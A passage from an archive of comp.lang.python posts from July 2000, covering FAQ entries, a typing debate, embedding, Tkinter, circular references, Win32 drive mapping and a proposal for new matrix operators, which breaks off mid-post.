Message-ID: <20000713040917.10090.qmail@synop.com>

Hi!

Below are the latest entries into http://python.faqts.com

cheers,

Fiona

Including:

- What Python code can I use to find all the network ports that are in 
use on a server?
- Can I use python to access web (eg.yahoo) email account?
- Is there any way to find the mount point of a filesystem given the 
path to a file within the file system?
- How can I create a wxBitmap image from a Python Imaging Library (PIL) 
image?
- How can I compare two strings in a case-insensitive way?


## New Entries #################################################


-------------------------------------------------------------
What Python code can I use to find all the network ports that are in use on a server?
http://www.faqts.com/knowledge-base/view.phtml/aid/4684
-------------------------------------------------------------
Fiona Czuczman
Aaron Berg

to figure out what ports are used on a server you could use netstat -a 
-n

import os 
popen("netstat -a -n")


-------------------------------------------------------------
Can I use python to access web (eg.yahoo) email account?
http://www.faqts.com/knowledge-base/view.phtml/aid/4685
-------------------------------------------------------------
Fiona Czuczman
Steve Purcell

For web mail accounts that have POP access, such as Yahoo, check out
the 'poplib' standard library module:

  http://www.python.org/doc/current/lib/pop3-example.html


-------------------------------------------------------------
Is there any way to find the mount point of a filesystem given the path to a file within the file system?
http://www.faqts.com/knowledge-base/view.phtml/aid/4686
-------------------------------------------------------------
Fiona Czuczman
John Clonts

I didn't find anything already extant, so here's this:

def mountpoint(s):
    import os
    if (os.path.ismount(s) or len(s)==0): return s
    else: return mountpoint(os.path.split(s)[0])

def testit():
    print mountpoint("/home/john/scheme/cmucl")
    print mountpoint("/usr/local")
    print mountpoint("/lib/")
    print mountpoint("lib")


-------------------------------------------------------------
How can I create a wxBitmap image from a Python Imaging Library (PIL) image?
http://www.faqts.com/knowledge-base/view.phtml/aid/4687
-------------------------------------------------------------
Fiona Czuczman
Greg Landrum

Here's some sample code:
def PilImgToWxBmp(pilImg):
  wxImg = wxEmptyImage(pilImg.size[0],pilImg.size[1])
  wxImg.SetData(pilImg.tostring())
  bmp = wxImg.ConvertToBitmap()
  return bmp


-------------------------------------------------------------
How can I compare two strings in a case-insensitive way?
http://www.faqts.com/knowledge-base/view.phtml/aid/4688
-------------------------------------------------------------
Fiona Czuczman
Bjorn Pettersen

import string

if string.lower("FOO") == string.lower("Foo"):
   <do something useful>






From grey at despair.rpglink.com  Fri Jul 28 17:59:01 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 21:59:01 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl>
Message-ID: <slrn8o40d1.49c.grey@teleute.rpglink.com>

On 28 Jul 2000 20:11:42 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>with your calculations. So you have to make sure your input is a number
>*anyway* if you want to calculate things, so why not complain in the
>first place when you run into something that doesn't seem to make sense.

    Because in some cases it does make sense.  1 + "1" makes sense.  It is
that grey area that causes problems.

>Anyway, I'm sure we won't be able to budge each other from our
>position on this. :)

    Prolly not.  I can live with it.  I don't like it, but once I know it is
there I can deal with it and move on.  My preferences are just elsewhere is
all.

>Yes, but in Python at least the program doesn't try to do things when you
>forgot to check the user input properly. And that increases the chances
>you'll find the bug in the first place.

    Which also increases the work for the programmer in case, which are in the
vast majority, where he doesn't need to check input since there is no input.
:)

>> (/^(\d{1,2})[Dd](\d{1,3})$/ || /^(\d{1,2})[Dd](\d{1,3})([\+\-])(\d{1,2})$/) 

>I don't know what you mean here. I never do anything like that, I'm
>happy to say. :)

    Extracting up to 6 match groups, 5 of which will be integers with the last
being a + or a -.  This means all groups can be either strings or None.  I've
already verified that groups 1-4&6 will be integers through the regular
expression so why check again?  To move these into ints on Python I needed to
toss the whole lot of assignments into a try/except and do a pass on TypeError
since you can't int() a None and Python doesn't like it when you try.  Seems
like there should be a cleaner way to be able to extrapolate digits out of a
string with re and stuff them into variables with int() without having to toss
it behind and if or try every time.  I don't feel that is an uncommon
occurance for anyone who might be taking numbers from plain text and wanting
to perform math operations on them.

>>     Perl or Python, doesn't matter, you should be able to read it.

>I'm not able to read it.

    Don't do much re work?  ;)

>I'd probably solve that in a more verbose way myself. 

    My perl background shines through, eh?
 
>So you're saying, since I know those particular groups are numbers anyway
>by necessity, it makes no sense to require explicit conversion (with
>int() in Python) to numbers of those things. I just want to use them
>as numbers right away. Did I understand that correctly?

    Bingo.

>As your program proceeds and for instance throws the dice, it'll try to use
>those variables as numbers, but since they're other strings, you'll
>eventually get strange answers (such as 0). And then presumably you'd have to
>search what part of your program is wrong. In Python you'd know pretty
>quickly that you got strings instead of numbers, and so you know what to fix.

    I know even faster in Perl.  When testing RE I take a sample, toss it in
an isolated script and build the regex until the expected results come forth.
When that is done I test it against a much larger data set for any cases I may
have missed.  If errant data gets in after that time in Perl you have a script
which runs but has some problems.  In Python it pukes.  In either case it
happens outside your hands.  When it comes to regex a properly defined regex
will not let through abberant data.  Esp. not when it comes to something as
simple as digits \d versus words \w.

>That wasn't the assumption. I said the exact opposite, you need to 
>remember what type your data is *anyway*. In order to do that you need
>to check the data if it is input.

    On input.  But for data generated internally this is not the case since
you defined it from start to end.

>This is a common misconception. *everything* in Python is always, always,
>references. It is just that certain data types (integers, string, tuples) are 
>immutable; you cannot change them. So the semantics are the same as 
>copy semantics.

    Yes, technically it is always a reference.  I know that in this case:

a = 1
b = 2

    a is a reference to an object, integer, that contains value 1 and b to an
object, integer, that contains the value 2.  What I meant was the difference
shown below:

>>> a = 1
>>> b = a
>>> a = 2
>>> b
1
>>> a = [1]
>>> b = a
>>> del(a[0])
>>> b
[]

    Forget, for a moment, what is happening internally.  What looks like here
is that in the first case there is an assignment going on and in the latter a
reference.  Nevermind that what is happening in the first case is a references
objint[1] and b references objint[1] and when we change a it points to a new
reference objint[2].  It is the difference in behavior of an identical
operator that is ambigious.  I'm sure even though I am aware that it happens I
am going to be nailed by it a few times before I get used to it.

>Isn't that worse than the program giving up? 

    No.  The program giving up in the customer's hands because of an unchecked
except is a far cry worse than a nigglet but having it continue on.  As a
customer which would you rather have, given the choice of these two:

a: A program that crashes, stopping everything that you're doing with no
chance of recovery

b: A program that behaves oddly but allows for chance of recovery.

    As a person who uses a lot of programs I'd rather have b which to me
translates into, "Neat, how'd that happen.  Oh, this is how. <file report>"
instead of "*BOOM* WTF!!  Dammit!  Now I have to type that whole message in
again!"

>But you haven't; you haven't told the system it's a number yet. :) That's
>the _only_ extra step you need to take. The system is too stupid to figure
>it out very well on its own anyway, so why not tell the system explicitly?

    No, in my case I needed to check to make sure it was a type that can be
converted to int and then do the actual conversion.  That is two steps more
than I deem needed considering the strictly checked input in the first place.

>Interactive mode (I think it explains in the tutorial) gives you the output
>of expressions as a result always. 

    Right, which is worthless in a script.  I'd personally have the Python
check what mode it is in and toss an exception when it is in interactive mode
and gets a meaningless statement.  It does so on every other possible
ambiguity, why not this one when it is even less grey than a lot of the ones I
am tossing out?  Is there a purpose for having such informative statements in
non-interactive mode?

>No, my entire point was that you need to know what your data is *anyway*.

    Right, I know what the data is, I don't need the language to ask me at
every operation, "Are you sure?  I mean, really, really, REALLY sure!?"

>You need to know that something is an integer anyway, so why not simply
>tell the computer what's going on? I'm *not* saying the language should
>do the checking. It can't; even though Perl tries.

    Because what if I want to do something that the computer thinks is
non-sensical?  

>checking. If you want the system to shut up about your mistakes,
>you can always do this in Python:

>try:
>   a = a + 1
>except:
>   pass

    Great, now I get to litter my code on a per operation basis with tries
instead of being able to set it on certain variables.  That would make more
sense.

>This works. I didn't need to tell the system that 'a' is a cow or a chicken
>or an animal that can make sounds. 

    Of course not, they are types.  The variable gets it type at declaration,
IE, assignment.

>You can do that in Python too. I tend to prefer that as well.

    I also prefer the computer to trust me than mistrust me.

>>     Funny, we have implicit typing in OO code that causes problems later in
>> the code.  So yes in OO code.

>What implicit typing? I don't understand what you mean at all.

   A variable gets its type upon assignment.  That is implicit typing.

>Yes, but if I'm not doing it properly at least the language will complain
>so I get a broad hint I do need to do it properly. :)

    As well as if you're doing it properly the language will still complain
long and loud.

>Huh? Where in Python did you find your declarations? I'm confused.

a = None
int(a)

    a is declared as None at assignment.

>Well, because it doesn't really make a lot of sense if you want to convert
>something to an integer when Python can't figure it out. If you're so
>sure of yourself, you can always do:
>
>try:
>   a = int(b)
>except ValueError:
>   a = 0

    Right, which is basically what I had to do except I left None as None.
Just seems like a pain in the butt to do after I have allready made sure,
beyond all doubt, that those variables contain numbers in the first place.

>All right; this just doesn't happen very often in my code. Generally because
>I can expect a certain regularity in my input. If my input is less regular
>than I expected, I get exceptions. That gives me a nice indicator that my
>expectations were off.

    Which is why for the base parsing routine I use re.  If it doesn't pass re
it doesn't get executed, period.  People can try all they want to get around
the regular expressions but it is really hard to do so.  I don't see a reason
to write my own test parsing routines when re does it for me.

>In that case you don't need to do any checking, obviously. You have a 
>regularity in your data so you just do something like:

>a = int(a)

>Though I may be missing something about regular expressions here and
>I'm goofing up?
 
    A regex could return a string or None, only one of which is convertable to
int.  You must litter your code with such checks.

>Hm, why would you do that? Depends on the structure of your keys. You can
>use numeric keys in your Python dictionary just fine.

    Text for information, numericals to prevent duplication.

>But an integer can be seen as an object with methods as well. A string
>too (Python 2.0 will actually allow you to use string methods). In fact,
>I can make a new type of object in Python that behaves much like your
>Perl scalars:

    Touche'.  ;)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From ted.drain at jpl.nasa.gov  Mon Jul 24 15:34:49 2000
From: ted.drain at jpl.nasa.gov (Ted Drain)
Date: Mon, 24 Jul 2000 12:34:49 -0700
Subject: Embedding Example
References: <397C6D55.6F7C@iems.nwu.edu>
Message-ID: <ted.drain-2407001234490001@mjordan.jpl.nasa.gov>

If you're building w/ gcc, add the link line option:

-Wl,-E

This says to pass the -E option to the linker.  This option tells the
linker to make all statically linked symbols available to the dynamic
libraries.  Without it, the symbols linked from libpython1.5.a aren't seen
by symbols in the dynamic libraries.

This really needs to be in the FAQ on embedding.

Ted

In article <397C6D55.6F7C at iems.nwu.edu>, "Leonardo B. Lopes"
<leo at iems.nwu.edu> wrote:

>I am trying to learn how to embed Python code in a C++ program. I got
>the example from the docs (the one that imports sys and prints out a
>couple of strings -- search from initxyzzy in google). The problem I get
>is that if I try to import any non-built in module, I get dynamic
>linking errors. For example, adding the following line 31 works:
>
>_______________________________________________________________________
>...
>     29         /* Execute some Python statements (in module __main__)
>*/
>     30         PyRun_SimpleString("import sys\n");
>-->  31         PyRun_SimpleString("import thread\n");
>     32         PyRun_SimpleString("print sys.builtin_module_names\n");
>...
>_______________________________________________________________________
>
>but adding the following line instead:
>
>_______________________________________________________________________
>...
>     29         /* Execute some Python statements (in module __main__)
>*/
>     30         PyRun_SimpleString("import sys\n");
>-->  31         PyRun_SimpleString("import random\n");
>     32         PyRun_SimpleString("print sys.builtin_module_names\n");
>...
>_______________________________________________________________________
>
>produces:
>
>_______________________________________________________________________
>[lopes at groucho lopes]$ ./demo 
>Hello, brave new world
>
>Traceback (innermost last):
>  File "<string>", line 1, in ?
>  File "/usr/lib/python1.5/random.py", line 22, in ?
>    import whrandom
>  File "/usr/lib/python1.5/whrandom.py", line 140, in ?
>    _inst = whrandom()
>  File "/usr/lib/python1.5/whrandom.py", line 46, in __init__
>    self.seed(x, y, z)
>  File "/usr/lib/python1.5/whrandom.py", line 58, in seed
>    import time
>ImportError: /usr/lib/python1.5/lib-dynload/timemodule.so: undefined
>symbol: PyExc_IOError
>('__builtin__', '__main__', 'imp', 'marshal', 'pcre', 'posix', 'regex',
>'signal', 'sys', 'thread')
>['xyzzy', 'os.path', 'os', 'exceptions', '__main__', 'posix',
>'whrandom', 'sys', '__builtin__', 'site', 'random', 'signal',
>'UserDict', 'posixpath', 'stat']
>./demo
>['./demo']
>_______________________________________________________________________
>
>I can imagine that for some reason there is some directory configuration
>missing to the interpreter when I start it embedded. How would I pass it
>this info?
>
>Thanks!
>Leo.
>
>
>

-- 
Ted Drain   Jet Propulsion Laboratory    Ted.Drain at jpl.nasa.gov


From fbochicchio at galactica.it  Sat Jul 29 22:55:38 2000
From: fbochicchio at galactica.it (Francesco Bochicchio)
Date: Sat, 29 Jul 2000 19:55:38 -0700
Subject: The 'widget' demo with python/Tkinter
Message-ID: <3983992A.75270197@galactica.it>

[ This lengthy post is separated in three pieces. Feel fre to skip the
uninteresting one ]

Hello everybody,


--------------/begin :-)

I've just bought and read (most of) 'Programming Python', after reading
some good reporting of Python in the news ( mostly the special in 'Linux
Journal').

I must admit that currently I' in love with Python. I show all signs : I
can't
separate from it and I talk about it to any collegue willing to listen (
and to several willing NOT ).

[ BTW : this love started in the Netherlands, where I occasionally trip
for my
  current job : is something in the air ? ]

-------------/end :-)

------------/begin success story 

Anyway, when my customer asked if it was possible to quickly implement a
specific MMI program, to be platform-independent and to be ready in  2
months, I jumped on the occasion of using Python/Tkinter for it ( to be
honest, it was also because I knew of the wanderful Canvas widget that
TK has, which will be the core of my program, which is a sort of 'data
display builder' ).

After a week, I already hacked significant parts of it, and I'm sure
that I took a good decision. 

-------------/end success story

-------------/begin question 

I'm looking forward to the close three-weeks vacation period to improve
my knowledge of Python/Tkinter. So I thought of duplicating the classic
'Widget' demo,which ships with TK and which I also found in a Perl/Tk
version.

Did anybody already wrote it ? I looked hard in Python and Tk
documentation and samples and didn't find it.

When I started with Python/Tk, I would have greatly appreciated
something like this ( actually, I looked a lot at Tk version of it to
learn about TK ). So I
am willing to give it to the masses ( If I'm able to finish it ). Or do
you think
that the other demos are enough ? 

Any feedback will be appreciated.

----------------/ end question

Ciao
-- 
FB


From denalione at my-deja.com  Tue Jul 11 13:23:24 2000
From: denalione at my-deja.com (Dale Burnett)
Date: Tue, 11 Jul 2000 17:23:24 GMT
Subject: checking the existence of a fiel
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <8kfl5m$skq$1@nnrp1.deja.com>

In article <WaHa5.175$T23.3601 at m2newsread.uni2.es>,
  "Fernando Rodr?guez" <frr at mindless.com> wrote:
> Hi!
>
>     How can I check if a file exists? O:-)
>
> TIA
>
> --
>
> ---------------------------------------
> Fernando Rodr?guez
>
>

os.path.isfile()


Sent via Deja.com http://www.deja.com/
Before you buy.


From richard_chamberlain at my-deja.com  Mon Jul  3 09:44:19 2000
From: richard_chamberlain at my-deja.com (richard_chamberlain at my-deja.com)
Date: Mon, 03 Jul 2000 13:44:19 GMT
Subject: making widgets invisible
References: <3960794E.6E2B36E6@muc.das-werk.de>
Message-ID: <8jq5bf$h45$1@nnrp1.deja.com>

Hi Thomas,

I'm sure there's a nicer way to do it (I'll ponder on it), but...

from Tkinter import *
root=Tk()
def hideMe():
    myButton.configure(text="",relief=FLAT)
myButton=Button(root,text="Hide Me!",command=hideMe)
myButton.pack()
root.mainloop()

You could pass the widget reference to the method so it would be
universal - bit of pain to reverse though!

Richard



In article <3960794E.6E2B36E6 at muc.das-werk.de>,
  thiele at muc.das-werk.de wrote:
> How can I realize that a set of widgets (buttons and entries)
> is invisible when I don't need them and visible when I need them?
>
> One solution is to create a dialog window (or frame) and destroy it
> then.
> But is there a better one?
>
> Withdrawn works only with top level widgets.
>
> Thanks Thomas
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From fcahoon at my-deja.com  Mon Jul 10 09:41:46 2000
From: fcahoon at my-deja.com (Forrest Cahoon)
Date: Mon, 10 Jul 2000 13:41:46 GMT
Subject: Making tabs illegal
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <20000708005527.L26534@xs4all.nl>
Message-ID: <8kcjqn$k7v$1@nnrp1.deja.com>

In article <20000708005527.L26534 at xs4all.nl>,
  Thomas Wouters <thomas at xs4all.net> wrote:
> [ ... ]
> Guido's time machine strikes again ! I'm not sure how far back he went
this
> time, but certainly well before I did anything with Python ;) There's
the
> -t flag which does exactly what you want: '-t' warns when tabs and
spaces
> are mixed in a dangerous way. '-tt' emits a compile-time exception.
> [ ... ]

I have heard of the -tt flag, but I don't think that's exactly what I'm
looking for.  I'd like to enforce spaces and disallow tabs altogether.
(What does "mixed in a dangerous way" mean, anyway?)

I'm not suggesting that python the language be changed this way -- I
would, but I don't think my suggestion would get very far -- what I *am*
suggesting is that I should be able to compile a version of the python
interpreter that only allows spaces.

The issue is being able to enforce a particular coding style in a
development environment.  For that reason, it's better to have it
compiled in than to be a command-line switch.


Sent via Deja.com http://www.deja.com/
Before you buy.


From thomas at xs4all.net  Mon Jul 10 15:38:51 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Mon, 10 Jul 2000 21:38:51 +0200
Subject: Circular reference problem -- advice?
In-Reply-To: <396A1EC6.6738CFCC@alcyone.com>; from max@alcyone.com on Mon, Jul 10, 2000 at 12:06:46PM -0700
References: <396A1EC6.6738CFCC@alcyone.com>
Message-ID: <20000710213850.O26534@xs4all.nl>

On Mon, Jul 10, 2000 at 12:06:46PM -0700, Erik Max Francis wrote:

> I've come across a problem due to circular references, and I'm not sure
> what's the best way to tackle it.  In essence, the problem is that I
> need a particular class to keep an associative array of its methods for
> a lookup table (it's essentially a dispatcher).  But with references to
> its own bound methods, Python's garbage collector concludes it has
> circular references and thus its destructor never gets called.

> For the application I need, it's imperative that the destructor get
> called.  What is the best way to solve this?  I can think of a few:

> - Move the map to a local variable in the dispatching function
> - Make map a lookup table of _unbound_ methods
> - Build a string of the function call and then exec it

Instead of calling exec, you're better off calling 'apply':

apply(self, method, args)

(where 'method' is a string containing the method name, and args is a tuple
(or other sequence) containing the desired arguments.

Alternatively, you can keep the current setup, and manually break the
circular reference before you delete the last reference to the object. You
can sometimes do this automatically by using a container object (one that
*doesn't* have a cirulcar reference ;) that has a __del__ that breaks the
cirulcar reference.

> What would be the most effective way of getting around this?  I'm
> thinking that using unbound methods would probably be the best way.

You can use self.__class__.__dict__ as a convenient index to attributes on
the class, and then 'apply(self, method, args)' to call the bound variants
of those. No circular references involved, though it might not fit your
need.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From kellyk at my-deja.com  Mon Jul 31 16:53:14 2000
From: kellyk at my-deja.com (kellyk at my-deja.com)
Date: Mon, 31 Jul 2000 20:53:14 GMT
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com> <8lrvae015nm@news2.newsguy.com> <3981D157.D7A1A347@intel.com> <8lspqe02drs@news2.newsguy.com> <sUug5.15076$4p3.118527@news-server.bigpond.net.au>
Message-ID: <8m4ovo$g1s$1@nnrp1.deja.com>

It would be nice to be able to do permanent connections. The reference
for WNetAddConnection2 says the last parameter is a flag to indicate
whether or not the connection is to be permanent. The win32wnet source
looks like it's hard coded to temporary.

Kelly

In article <sUug5.15076$4p3.118527 at news-server.bigpond.net.au>,
  "Mark Hammond" <MarkH at ActiveState.com> wrote:
> win32wnet.WNetAddConnection2(win32netcon.RESOURCETYPE_DISK, "Z:",
> "\\\\brat\\c", None, None, None)
>
> The params are:
>        Integer Type,  // RESOURCETYPE_DISK, RESOURCETYPE_PRINT, or
> RESOURCETYPE_ANY
>        String LocalName, // String or None
>        String RemoteName, // String (required to be in network format
>        String ProviderName,// String or None
>        String Username,
>        String Password)
>
> Mark.


Sent via Deja.com http://www.deja.com/
Before you buy.


From stephen at cerebralmaelstrom.com  Wed Jul  5 13:45:27 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Wed, 05 Jul 2000 17:45:27 GMT
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com>
Message-ID: <XuK85.115473$WS3.978541@typhoon.we.rr.com>

I *think*...
Print is a statement that lets you print out multiple things using the
comma, the 'write' function does not work the same way. It takes a string
argument and writes it out to the file.

To accomplish what you want, you can use the module operator (there's other
ways too, but its my favorite :))

number = 100
print "Number = %s" % number
OUT = open("TT.txt",'w')
OUT.write("Number = %s" % number)
OUT.close()

If you have more then one number you're writing out, make the right-operand
of the modulo operator a tuple.. E.g.

num1 = 100
num2 = 500
print "Number 1 = %s and Number 2 = %s" % (num1,num2)

See? :)

--Stephen



<cmfinlay at SPAMmagnet.com.au> wrote in message
news:tzFjOfN2zOzPHwvl3ncklEAEb+fa at 4ax.com...
> number = 100
> print "Number =", number
> OUT = open("TT.txt","w")
> OUT.write("Number =", number) # Error
> OUT.close()
>
> The code above gives the error.
>
> Traceback (innermost last):
>   File "ttest.py", line 5, in ?
>     OUT.write("Number =", number)
> TypeError: read-only buffer, tuple
>
> OUT.write("Hello World")
>
> Works but a number or variable of a number does not.
>
> I have been reading documents on Python to no avail this time.
> I am using Win98 with the latest python for this OS.
>
> Any help would be much appreciated
> E-mail me at cmfinlaySPAM at magnet.com.au
> or reply here.




From bjorn at roguewave.com  Mon Jul 17 14:27:31 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 17 Jul 2000 12:27:31 -0600
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for 
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu>
Message-ID: <39735013.1AE68176@roguewave.com>

Charles Boncelet wrote:
> 
> (Huaiyu Zhu wrote a proposal for adding special linear algebra
> operator to Python)
> 
> This proposal has been dismissed by many on this list (my
> paraphrasing)
> "because we don't want to pollute Python with new symbols/syntax
> for just one problem domain."  Some have dismissed linear algebra
> as a small domain at that.
> 
> Let's get some facts (yes, I know we are not supposed to let facts
> interfere with our arguments on usenet):

[severe case of non sequitur snipped]

Perl, C++, Visual Basic, Java, and probably also Tcl are all more
popular than Python. Are you suggesting we should add their special
syntaxes/quirks just because a lot of people know them?

hrmph!
-- bjorn



From shuz at bresnanlink.net.bbs  Wed Jul 12 03:00:01 2000
From: shuz at bresnanlink.net.bbs (shuz at bresnanlink.net.bbs)
Date: 12 Jul 2000 07:00:01 GMT
Subject: Sound module question
Message-ID: <3bN7j1$m1k@openbazaar.net>

I have already tried that. I need to record sound in a time sensitive
eviroment. I will most likely need to write my own sound module which I really

don't want to do...because I don't know where to start with that either. I
have this really simple program called sound-recorder that has simple read and

write but in order to stop a recording the person needs to do ^c (ctrl + c)
how would I start that program in a thread and be able to stop it at a certain

point using ctrl + c? A sound module for python would probably be the best
solution still.

I guess that is a better description of my problem... Thanks for the idea
though,
Aaron



pehr anderson wrote:

> I've started mucking around with sound and have
> seen the os.system command work well for most of my needs.
>
> import os
> os.system("esdplay file.wav")
>
> Redhat and Gnome like to use the Enlightenment sound daemon.
> NOTE: It isn't always started by default.
> To start the daemon just run "esd" as the user (you don't need to be
> root).
> The RPM included with Redhat-6.2 is esound-0.2.17-2.i386.rpm
>
> I've upgraded my system with Helix gnome so my esound rpm is
> esound-0.2.18-1_helix_1
>
> Esound includes the the "esdctl" command to cache wav files
> for quick playback or looping. If you run these through os.system
> that should be fast enough for most of your needs. I'm sure there
> are better ways to talk to the esound daemon, but this was *very* easy.
>
> Here is the help for esdctl:
>
> [pehr at morseall pehr]$ esdctl
> esdctl error (1):  command line - not enough arguments
> esdctl [options] [command]
>
> options:
> -s, --server=host:port        contact esd server on host at port
>
> commands:
> lock                          foreign clients may not use the server
> unlock                        foreign clients may use the server
> standby, off                  suspend sound output for other programs
> resume, on                    resume sound output
> cache sample                  cache a sample in the server
> getid name                    retrieve a sample id from its name
> free name                     uncache a sample in the server
> play name                     play a cached sample once
> loop name                     make a cached sample loop
> stop name                     stop the looping sample at end
> serverinfo                    get server info from server
> allinfo                       get player and sample info from server
> panstream <id> <left> <right> set panning for a stream
> pansample <id> <left> <right> set default panning for a sample
>                               - left/right pan values scaled to 256.
> standbymode                   see if server's on standby, etc.
>
> Aaron Berg wrote:
> >
> > I started programming python a few months ago and I am still learning.
> > Does anyone know of a sound module for simple reading and writing of
> > sound in linux? I know there is a win32 sound module and there is one
> > for SGI but is there one for linux? oss or alsa... I don't know much
> > about this issue so it is possible i am just looking in the wrong place.
> > Thanks,
> > Aaron


From richard_chamberlain at ntlworld.com  Mon Jul 17 16:42:39 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Mon, 17 Jul 2000 21:42:39 +0100
Subject: Multiline strings and indentation
References: <39736250$0$14722@wodc7nh6.news.uu.net>
Message-ID: <zaKc5.3624$Yp.74555@news6-win.server.ntlworld.com>

Hi Jen,

How about:

def multiline(x):
  if x:
    print "this is a" \
            "multi-line string that spans" \
            "three lines" \
 print "another string"

Richard

donotspam-jen at personic.com <dnotspam-jen at personic.com> wrote in message
news:39736250$0$14722 at wodc7nh6.news.uu.net...
> I'm just getting started with Python. The indentation feature really does
> make things readable ... except when using multi-line strings.  This just
> doesn't look right:
>
> def multiline(x):
>   if x:
>     print """this is a
> multi-line string that spans
> three lines"""
>  print "another string"
>
> Is there a way to make the above more readable? It would be nice if it
could
> be written this way and have Python just figure out what whitespace to
> ignore:
>
> def multiline(x):
>   if x:
>     print """this is a
>              multi-line string that spans
>              three lines"""
>  print "another string"
>
> Thanks for any suggestions!
>
> Jen
>
>




From falk.lehmann at gmx.net.bbs  Tue Jul 18 00:50:03 2000
From: falk.lehmann at gmx.net.bbs (falk.lehmann at gmx.net.bbs)
Date: 18 Jul 2000 04:50:03 GMT
Subject: compiling Python 1.6a2 using VC++ 6.0
Message-ID: <3bRbQR$m5X@openbazaar.net>

I try to compile Python 1.6a2 on a WinNT box using VC++ 6.0.
All packages except bsddbmodule and socketmodule compile without errors.

When I add the include path of the the db-3.1.14 distribution to
..\db-3.1.14\build_win32 the following error messages appear. I have
tried to include other header files then db.h but nothing works.

=================================================================
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(90) : error C2065:
'HASHINFO' : undeclared identifier
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(90) : error C2146: syntax
error : missing ';' before identifier 'info'
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(90) : error C2065: 'info'
: undeclared identifier
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(95) : error C2224: left
of '.bsize' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(96) : error C2224: left
of '.ffactor' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(97) : error C2224: left
of '.nelem' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(98) : error C2224: left
of '.cachesize' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(99) : error C2224: left
of '.hash' must have struct/union type
K:\Projects\Python-1.6a2\Modules\bsddbmodule.c(100) : error C2224: left
of '.lorder' must have struct/union
type
...
<and a lot more>
...
==========================================================

Any help is appreciated.

Falk


Sent via Deja.com http://www.deja.com/
Before you buy.


From fbochicchio at galactica.it  Sun Jul 30 02:49:36 2000
From: fbochicchio at galactica.it (Francesco Bochicchio)
Date: Sat, 29 Jul 2000 23:49:36 -0700
Subject: The 'widget' demo with python/Tkinter
References: <3983992A.75270197@galactica.it> <290720001444536008%matt@mondoinfo.com>
Message-ID: <3983D000.55110EEE@galactica.it>

Matthew Dixon Cowles wrote:
> 
> In article <3983992A.75270197 at galactica.it>, Francesco Bochicchio

> 
> Dear Francesco,
> I'm not familiar with the particular demo that you mention 

Usually in /usr/lib/tk8.0/demo/widget. It's a demo program that
systematically
goes through all the features of Tk.

> but I'm sure that more Tkinter demo code and documentation would always be 
> useful.
> If you haven't seen it already, you might find Fredrik Lundh's
> introduction to Tkinter worth a look. It's at:
> 
> http://www.pythonware.com/library.htm
> 
> I certainly find it useful. As far as I'm aware, it's the current state
> of the art in Tkinter documentation.
> 
I also found it very useful ( though it seems still a work in progress
).

-- 
FB


From hzhu at users.sourceforge.net  Wed Jul 26 19:34:53 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Wed, 26 Jul 2000 23:34:53 GMT
Subject: Operators for everything (was Re: Operators for matrix)
References: <m3em4ld5t3.fsf@atrus.jesus.cam.ac.uk> <memo.20000724210456.47597A@digitig.compulink.co.uk> <397CB3EA.15F5514F@prescod.net> <200007250053.RAA03842@rocket.knowledgetrack.com> <397CFDAC.38A22DAF@prescod.net>
Message-ID: <slrn8nutk8.7fp.hzhu@rocket.knowledgetrack.com>

On Mon, 24 Jul 2000 21:38:36 -0500, Paul Prescod <paul at prescod.net> wrote:
>> 
>> If @add does not need to be hard coded in C, why @+ need so?  
>
>Neither needs to be hard-coded into the grammar. The parser could always
>recognize them from the leading @-symbol. This is different from your
>earlier proposals where *any sequence of symbols* could be an operator.
>That's quite different.

Although the patch I got adds a set of operators with different symbols, it
has always been clear that one generic way of adding new operators is more
preferable, as these operators are very similar to existing math operators.

>Nevertheless, I would be extremely reluctant to add a feature that would
>encourage people to do @++, @-- @+* and so forth. @increment is not so
>bad. @decrement is not so bad. @positive_mul (whatever that might mean
>in some particular domain) is not so bad.

I don't think many people are proposing these complicated operators as math
operators.  The main criteria is that they look as similar to the existing
math operators as possible.

>I think name-based binary operators are actually pretty neat and can be
>used very Pythonically. IMO, they are the right compromise between
>terseness and legibility.

For math operators the @id form looks too heavy.  Compare the following two:

(1 @add 2) @mul 3 @sub 4 == (10 @div 2) @pow 1

(1+2)*3 - 4 == (10/2)**1

The symbol @ does not work out well with symbolic operators, either.  In
tightly written code, like abc at +def, the @ is visually associated with the
preceding identifier rather than the operator. The alternative ~op looks
much more familiar:

(1~+2)~*3 ~- 4 == (10~/2)~^1

But since this is the "operator for everything" thread, may I suggest using
